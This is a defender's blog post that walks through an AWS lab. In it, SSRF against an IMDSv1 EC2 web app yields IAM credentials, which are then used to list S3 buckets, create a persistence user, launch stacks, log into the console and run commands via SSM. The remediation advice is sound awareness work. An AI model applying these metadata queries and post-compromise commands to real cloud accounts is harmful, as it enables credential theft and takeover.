Cloud Metadata - AWS IAM Credential Abuse
Attackers are already fully aware of what cloud misconfigurations are and how to take advantage. Why would an attacker run 169.254.169[.]254/latest/meta-data/iam/security-credentials/ ?
It's been noted here (2017 Uber), here (2019 Capital One) and here (2022) about how attackers are fully aware of cloud misconfigurations, attack methods and what their access can lead to.
"a single AWS access key that provided full administrative privileges over all data in the Uber AWS environment"
In this run through (and similar to the above) we have a vulnerable webapp hosted on a AWS EC2 instance configured to use IMDSv1 (Instance Metadata Service) which we will exploit, escalate our privileges and carry out post-compromise activities. While not every AWS EC2 instance has an associated IAM role (AWS Identity and Access Management), when they do these IAM roles can contain very powerful credentials to access other systems and data stores.
I've responded to incidents in the past regarding this but have recently stumbled across these AWS CIRT training labs that have just been released and are an extremely easy way to help replicate this environment. Massive kudos to the AWS CIRT team 👏.
While this isn't something new, awareness of this technique isn't known by all and the implications of such attack. I hope this helps with further understanding.
- What is the AWS EC2 metadata instance?
- What it looks like?
- How it gets exploited?
- What to do with your new credentials?
- How to fix the issue and gain visibility.
What is 169.254.169.254?
TLDR: The magic IP to access the metadata associated with the AWS instance and get at the exposed IAM credentials via this "internal" interface . AWS documentation states and has a pretty big red warning banner for this 🚨🚨🚨🚨.
"...Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data..."
"...Because your instance metadata is available from your running instance, you do not need to use the Amazon EC2 console or the AWS CLI.." link
Included in this meta-data could be service credentials/API keys. Lets say you have a vulnerable web app that is running on a EC2 instance and this gets exploited by some means. Once the attacker has command execution they can query this data as its only available from the instance itself. From here they can escalate their privileges.
What does the meta-data service hold or look like?
URLs you might see being queried by attackers by various means.
http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/ http://169.254.169.254/latest/dynamic/instance-identity/document http://[fd00:ec2::254]/latest/meta-data/
More examples here including WAF bypasses https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery#ssrf-url-for-cloud-instances
How is this done? - Gathering IAM credentials
In this example, we have a poorly configured web application that allows for SSRF (Server Side Request Forgery) exploitation which enables the attacker to locally query the EC2 metadata instance for stored credentials as part of an IAM role.
Our host TDIR-WebApp-1UEARVYAI6KFP-1676273348.us-east-1.elb.amazonaws.com is a web application behind an Elastic Load Balancer (elb) that we are going to use as a demo.
💥 Query 1 (gather IAM roles associated with the EC2 instance)
💥 Query 2 (gather IAM credentials for the assigned role)
In this case we have ASIA* IAM ID identifier which is a temporary (AWS-STS // Security Token Service) key. You can see the short lifetime and expiration here. Enough to launch an attack.
💥 Query 3 (gather EC2 instance region needed)
Once you have a valid API key set it via your local variables or part of
~/.aws/credentials and use a tool like AWS CLI to interact with the AWS API with your new obtained credentials.
export AWS_ACCESS_KEY_ID="<paste_access_key_ID_here>" export AWS_SECRET_ACCESS_KEY="<paste_secret_access_key_here>" export AWS_DEFAULT_REGION="<paste_region_here>" export AWS_SESSION_TOKEN="<paste_session_token_here>"
To check it is all configured and confirm our credentials are valid use AWS CLI on a localhost or attacker controlled system with the following.
aws sts get-caller-identity
What can you do now? How bad is this? - it depends on the access granted. Understanding the impact here can help put some of the visibility and mitigations to put in place.
- Spin up new resources to use (coin-mining / malicious proxy / exfiltration / bastion host)?
- Pivot further, check how far your access goes? 🐇 🕳️
- Just simply trash the environment?
💥 Query S3 buckets!
aws s3 ls
💥 Create a new user for persistence!
aws iam create-user --user-name adm1n
💥 Spin up extra resources!
aws cloudformation create-stack --stack-name badstack --template-body file://samplestack.template
💥 Log into the AWS Console!
Using the credentials it is possible to generate a URL which enables you to log into the AWS Console (GUI) with this account. Easier nagivation and triage for the attacker. Tool being used here is aws-vault.
brew install aws-vault aws-vault login
💥 Remote Code Execution via SSM
The AWS CLI is needed in this example to take advantage of Systems Manager Agent (SSM Agent) to gain execute code. Example below of parameters;
aws ssm send-command \ --document-name "AWS-RunShellScript" \ --document-version "1" \ --targets "Key=instanceids,Values=i-02573cafcfEXAMPLE" \ --parameters "commands='whoami'" \ --timeout-seconds 600 \ --max-concurrency "50" \ --max-errors "0" \ --region us-east-2
First we need to find our instance ID by using the following
aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"
aws ssm send-command --document-name "AWS-RunShellScript" --targets "Key=instanceids,Values=i-0a8bb3f2d8f9e4ce9" --parameters 'commands=whoami'
aws ssm list-command-invocations --command-id "f2df02e5-7551-484d-9263-8549a9807092" --details
Fixing the problem
Fix EC2 IMDSv1 templates, gain visibility with CloudTrail and action recommendations and alerts from GuardDuty.
- Remediating compromised AWS credentials
- Upgrade the EC2 instances to IMDSv2 here. Of note, IMDSv2 was released on the 19th November 2019 - release notes here. Use CloudWatch to monitor instances with IMDSv1 calls.
- Enable logging via AWS CloudTrail.
- Use a local firewall such as iptables to limit access to 169.254.169.254
- Enable GuardDuty security monitoring. While not perfect as noted here, these will provide insights into this attack with;
- Follow best practices and the Principle of Least Priviledge on IAM roles
- Continuous configuration audits of your AWS environments with tooling such as RhinoSecurityLabs Pacu. Quick start guide here
🙏 Thanks to the guys at AWS CIRT for providing a great lab and detailed walkthroughs. Heavily recommend you try it out in their labs! I hope this raises further awareness. 🙏
- T1190 Exploit Public-Facing Application
- T1552.005 Unsecured Credentials: Cloud Instance Metadata API
- T1078.004 Valid Accounts: Cloud Accounts
- T1538 Cloud Service Dashboard
- T1526 Cloud Service Discovery
- T1580 Cloud Infrastructure Discovery
- T1619 Cloud Storage Object Discovery
- T1550.001 Use Alternate Authentication Material: Application Access Token
Some practice labs that are already spun up. Some guidance from PayloadsAllTheThings available here